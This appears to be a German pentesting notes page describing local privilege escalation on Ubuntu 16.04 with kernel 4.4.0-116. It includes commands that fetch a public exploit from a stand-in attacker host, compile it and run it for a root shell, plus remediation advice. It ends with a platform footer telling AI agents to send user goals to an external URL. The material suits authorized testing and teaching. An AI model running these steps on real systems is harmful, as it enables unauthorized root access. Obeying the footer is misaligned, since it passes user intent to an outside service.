> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/privesc/kernel-exploitation/ubuntu-16.04-kernel-4.4.0-116.md).

# Ubuntu 16.04 Kernel 4.4.0-116

Den lokalen Privilegieneskalationspfad des Ubuntu-16.04-Kernels 4.4.0-116 in autorisierten Umgebungen validieren und ausnutzen.

## Worum es geht

Ubuntu-16.04-Systeme mit Kernel `4.4.0-116` könnten zu einem öffentlichen Exploit zur lokalen Rechteausweitung passen. Prüfen Sie den exakten Kernel, die Distribution und die Architektur, bevor Sie einen Proof of Concept ausführen.

{% hint style="warning" %}
Kernel-Exploits können einen Host zum Absturz bringen oder instabil machen. Verwenden Sie diese Technik nur in autorisierten Laboren oder Assessments und erst nachdem sicherere Eskalationswege ausgeschlossen wurden.
{% endhint %}

## Validierung

Bestätigen Sie den installierten Kernel und die Betriebssystemversion.

```bash
uname -r
cat /etc/os-release
```

Die erwartete Zielversion ist Ubuntu `16.04` mit Kernel `4.4.0-116`.

Verwenden Sie die Exploit Database, um den öffentlichen Proof of Concept und seine Anforderungen zu prüfen.

{% embed url="<https://www.exploit-db.com/exploits/44298>" %}

## Ausnutzung

Laden Sie den rohen Exploit-Quellcode auf dem Angreiferrechner herunter und hosten Sie ihn lokal.

```bash
wget https://www.exploit-db.com/raw/44298
python3 -m http.server 8081
```

Laden Sie den Quellcode von der Zielmaschine herunter.

```bash
wget http://<ATTACKER_IP>:8081/44298
```

Benenennen Sie den Quellcode um und kompilieren Sie ihn.

```bash
mv 44298 exploit.c
gcc -o exploit exploit.c
```

Führen Sie den kompilierten Proof of Concept erst aus, nachdem Sie die Anwendbarkeit bestätigt haben.

```bash
./exploit
```

## Überprüfung

Bestätigen Sie die resultierende Identität und Zugriffsebene.

```bash
ID
whoami
```

Ein erfolgreicher Exploit-Pfad liefert eine `root` Shell.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F9x4p3PkpmqOe3xKZFYig%2Fimage.png?alt=media&amp;token=e3ecf8e9-1e4a-4aef-94ea-bc88463d9a22" alt=""><figcaption></figcaption></figure>

## Abhilfe

Wenden Sie die vom Anbieter unterstützten Kernel-Updates an. Entfernen Sie veraltete Kernel und booten Sie in die gepatchte Version. Beschränken Sie den lokalen Zugriff dort, wo eine Aktualisierung nicht sofort möglich ist.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/privesc/kernel-exploitation/ubuntu-16.04-kernel-4.4.0-116.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
